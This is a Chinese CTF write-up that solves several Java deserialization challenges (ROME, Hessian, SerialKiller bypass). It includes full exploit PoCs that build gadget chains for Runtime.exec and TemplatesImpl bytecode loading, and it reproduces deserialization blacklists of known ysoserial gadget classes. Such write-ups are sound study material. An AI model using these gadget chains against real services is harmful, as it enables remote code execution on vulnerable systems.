2022-长城杯-b4bycoffee

首先看该题的依赖,发现rome版本为1.7,存在反序列化漏洞

注意到com.example.bab4coffee.tools目录下面自己写了一个InputSteam

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class AntObjectInputStream extends ObjectInputStream {
private List<String> list = new ArrayList();

public AntObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
this.list.add(BadAttributeValueExpException.class.getName());
this.list.add(ObjectBean.class.getName());
this.list.add(ToStringBean.class.getName());
this.list.add(TemplatesImpl.class.getName());
this.list.add(Runtime.class.getName());
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (this.list.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
} else {
return super.resolveClass(desc);
}
}
}

重写了resolveClass并且定义了一个黑名单,但熟悉rome反序列化漏洞的朋友都知道还有一个类没被禁掉,那就是EqualsBean,但是后面的TOStringBean给禁掉了

很幸运,在翻文件的时候看到了CoffeeBean,该类中有一个toString()方法,并且可以加载字节码,允许任意类初始化

这就相当于一个类直接替代掉了之前链子中的ToStringBean和TemplatesImpl

所以我们可以得到以下的这条链子

1
2
3
4
5
java.util.HashMap#readObject
java.util.HashMap#hash
com.rometools.rome.feed.impl.EqualsBean#hashCode
com.rometools.rome.feed.impl.EqualsBean#beanHashCode
com.example.b4bycoffee.model.CoffeeBean#toString

poc这里就不给了,比较简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import com.example.b4bycoffee.model.CoffeeBean;
import com.example.b4bycoffee.tools.AntObjectInputStream;
import com.rometools.rome.feed.impl.EqualsBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class exploit {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception{
CoffeeBean toStringBean = new CoffeeBean();
Class c = toStringBean.getClass();
Field classByteField = c.getDeclaredField("ClassByte");
classByteField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class));
classByteField.set(toStringBean,bytes);
EqualsBean bean = new EqualsBean(String.class,"a");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",bean);
map1.put("zZ",toStringBean);
map2.put("zZ",bean);
map2.put("yy",toStringBean);
Hashtable table = new Hashtable();
table.put(map1,"1");
table.put(map2,"2");

setFieldValue(bean,"beanClass",CoffeeBean.class);
setFieldValue(bean,"obj",toStringBean);

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(table);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

// InputStream inputStream = new ByteArrayInputStream(Base64.getDecoder().decode(new String(Base64.getEncoder().encode(baos.toByteArray()))));
// AntObjectInputStream antInputStream = new AntObjectInputStream(inputStream);
// antInputStream.readObject();
}
}

加载Spring回显类即可,注意这里传参方式是@RequestBody CoffeeRequest coffee,需要使用json传

Hessian_only_jdk

该题考的就是hessian_jdk原生链,也没看到什么黑名单啥的,主要的代码就是下面的这个index

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package com.ctf.hessian.onlyJdk;

import com.caucho.hessian.io.Hessian2Input;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.util.concurrent.Executors;

public class Index {
public Index() {
}
public static void main(String[] args) throws Exception {
System.out.println("server start");
HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0);
server.createContext("/", new MyHandler());
server.setExecutor(Executors.newCachedThreadPool());
server.start();
}

static class MyHandler implements HttpHandler {
MyHandler() {
}

public void handle(HttpExchange t) throws IOException {
String response = "Welcome to 0CTF 2022!";
InputStream is = t.getRequestBody();
try {
Hessian2Input input = new Hessian2Input(is);
input.readObject();
} catch (Exception var5) {
Exception e = var5;
e.printStackTrace();
response = "oops! something is wrong";
}
t.sendResponseHeaders(200, (long)response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
}

就是对接收到的请求体进行一个hessian反序列化的操作

然后我们看配置文件中的hessian版本为4.0.38,低于4.0.60,所以我们可以直接用上Runtime的那个exp来解决题目

需要注意的是该题的请求体直接传不进去,所以我们需要自己写个代码构造请求传进去

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.reflect.ReflectionFactory;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;

import javax.activation.MimeTypeParameterList;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Base64;

public class Poc {
public static void main(String[] args) throws Exception {

Method invokeMethod = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
Method execMethod = Runtime.class.getDeclaredMethod("exec", String.class);
// MethodUtil.invoke(invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}});

MimeTypeParameterList mimeTypeParameterList = createObjWithoutConstructor(MimeTypeParameterList.class);
UIDefaults defaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("sun.reflect.misc.MethodUtil","invoke",new Object[]{invokeMethod,new Object(),new Object[]{execMethod,Runtime.getRuntime(),new Object[]{"calc"}}});
defaults.put("666",swingLazyValue);
setField(mimeTypeParameterList,"parameters",defaults);
// System.out.println(mimeTypeParameterList);

String s = ser(mimeTypeParameterList);
// System.out.println(Base64.getDecoder().decode(s));
// unser(s);
byte[] bytes = Base64.getDecoder().decode(s);
// 发送请求
URL url = new URL("http://127.0.0.1:8090/");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setDoOutput(true);
conn.setRequestMethod("POST");

OutputStream os = conn.getOutputStream();
os.write(bytes);
os.flush();
os.close();

System.out.println("Response code: " + conn.getResponseCode());
}


public static Object unser(String string) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
Object obj = hessian2Input.readObject();
return obj;
}

public static String ser(Object object) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
byteArrayOutputStream.write(67);
hessian2Output.writeObject(object);
hessian2Output.flushBuffer();
return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

public static <T> T createObjWithoutConstructor(Class<T> clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return (T) constructor1.newInstance();
}
}

2022-0ctf-3rm1

该题jdk版本为201

干了一天是在是做不出来,网上关于该题的wp不多,看的我也迷迷糊糊的,就不在这里献丑了

我自己的进度是在知道该题的目的就是我们必须远程绑定一个恶意对象到注册中心上,也就是说我们必须摆脱registry默认只能本地绑定的限制,这里的话可以用工具:https://github.com/qtc-de/remote-method-guesser

该工具可以和ysoserial工具联动验证确实是该思路,用URLDNS链来验证

后面就是我们必须找一个可以rce的链子,看题目自己提供的那些类很熟悉,基本就是照着spring1的链子所需要的类自己再写一遍的,所以我们其实照着改一改就可以了

这当然是限在低版本上,高版本AnnotationInvocationHandler已经被移除了,我们需要重新找到一个类似于AnnotationInvocationHandler的代理类

很好,然后就没然后了,卡死在这里了,看wp里面是利用codeql来进行一个寻找(还没学。。。)

说实话那个链子构造目前看的也懵懵的,后面有机会再来复盘一手

2022MRCTF-easyjava

题目环境:https://github.com/Y4tacker/CTFBackup/tree/main/2022/2022MRCTF/%E7%BB%95serializeKiller

主要关注下面这个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.example.easyjava.controller;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.nibblesec.tools.SerialKiller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class HelloController {
public HelloController() {
}

@GetMapping({"/hello"})
public String index() {
return "hello";
}

@PostMapping({"/hello"})
public String index(@RequestBody String baseStr) throws Exception {
byte[] decode = Base64.getDecoder().decode(baseStr);
ObjectInputStream ois = new SerialKiller(new ByteArrayInputStream(decode), "serialkiller.xml");
ois.readObject();
return "hello";
}
}

在SerialKiller类中做了过滤,跟进去是通过resolveClass来进行过滤操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
protected Class<?> resolveClass(ObjectStreamClass var1) throws IOException, ClassNotFoundException {
String[] var2 = blacklist;
int var3 = var2.length;

int var4;
for(var4 = 0; var4 < var3; ++var4) {
String var5 = var2[var4];
Pattern var6 = Pattern.compile(var5);
Matcher var7 = var6.matcher(var1.getName());
if (var7.find()) {
if (!profiling) {
LOGGER.log(Level.SEVERE, "Blocked by blacklist ''{0}''. Match found for ''{1}''", new Object[]{var5, var1.getName()});
throw new InvalidClassException("Class blocked by SK: '" + var1.getName() + "'");
}

LOGGER.log(Level.FINE, "Blacklist match: ''{0}''", var1.getName());
}
}

boolean var9 = false;
String[] var10 = whitelist;
var4 = var10.length;

for(int var11 = 0; var11 < var4; ++var11) {
String var12 = var10[var11];
Pattern var13 = Pattern.compile(var12);
Matcher var8 = var13.matcher(var1.getName());
if (var8.find()) {
var9 = true;
if (profiling) {
LOGGER.log(Level.FINE, "Whitelist match: ''{0}''", var1.getName());
}
}
}

if (!var9 && !profiling) {
LOGGER.log(Level.SEVERE, "Blocked by whitelist. No match found for ''{0}''", var1.getName());
throw new InvalidClassException("Class blocked by SK: '" + var1.getName() + "'");
} else {
return super.resolveClass(var1);
}
}

黑名单和白名单的内容是根据serialkiller.xml来进行添加的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<blacklist>
<!-- ysoserial's CommonsCollections1,3,5,6 payload -->
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>
<!-- ysoserial's CommonsCollections2,4 payload -->
<regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
</blacklist>
<whitelist>
<regexp>.*</regexp>
</whitelist>

可以看到黑名单基本把yso的cc链中的跟transform方法有关的类全部都禁掉了,但是除了这几个类外剩下的类都在白名单之中

可以进行任意类加载的TemplatesImpl类没有被禁掉,查看流程图我们明白可以和LazyMap的get方法来进行配合,如下图:

image-20250927202749514

所以我们要做的就是再找一个新的类,包含有transform方法,并且最后可以触发Constructor.newInstance

编写ql查询代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/**
* @id java/examples/demo
* @name easyjava
* @description path-problem
* @kind path-problem
* @problem.severity warning
*/

import java

class NewInstanceCall extends Call {
NewInstanceCall() {
this.getCallee().getDeclaringType() instanceof TypeConstructor and
this.getCallee().hasName("newInstance") and
not this.getCaller().getDeclaringType().hasName("InvokerTransformer") and
not this.getCaller().getDeclaringType().hasName("ChainedTransformer") and
not this.getCaller().getDeclaringType().hasName("ConstantTransformer") and
not this.getCaller().getDeclaringType().hasName("InstantiateTransformer")
}
}

class GetterCallable extends Callable {
GetterCallable() {
this.getName().matches("transform") and
not this.getDeclaringType() instanceof Interface and
this.fromSource() and
this.getNumberOfParameters() = 1 and
not this.getDeclaringType().hasName("InvokerTransformer") and
not this.getDeclaringType().hasName("ChainedTransformer") and
not this.getDeclaringType().hasName("ConstantTransformer") and
not this.getDeclaringType().hasName("InstantiateTransformer")
}
}

query predicate edges(Callable a, Callable b) { a.polyCalls(b) }

from NewInstanceCall endcall, GetterCallable entryPoint,Callable endCallAble
where endcall.getCallee() = endCallAble and
edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "cc finder"

运行后从结果手动进行筛选,选中FactoryTransformer类的transform方法

image-20250927210049031

与InstantiateFactory的create方法进行配合,实现任意类加载

image-20250927210457622

于是我们的Poc便如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.nibblesec.tools.SerialKiller;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "1");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
InstantiateFactory instantiateFactory;
instantiateFactory = new InstantiateFactory(com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.class
,new Class[]{javax.xml.transform.Templates.class},new Object[]{obj});

FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory);

ConstantTransformer constantTransformer = new ConstantTransformer(1);

Map innerMap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innerMap, constantTransformer);

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
setFieldValue(outerMap,"factory",factoryTransformer);

outerMap.remove("keykey");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(expMap);

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream ois = new SerialKiller(byteArrayInputStream, "E:\\matches\\usual_ctf\\ezjava\\serialkiller.xml");
ois.readObject();
}
}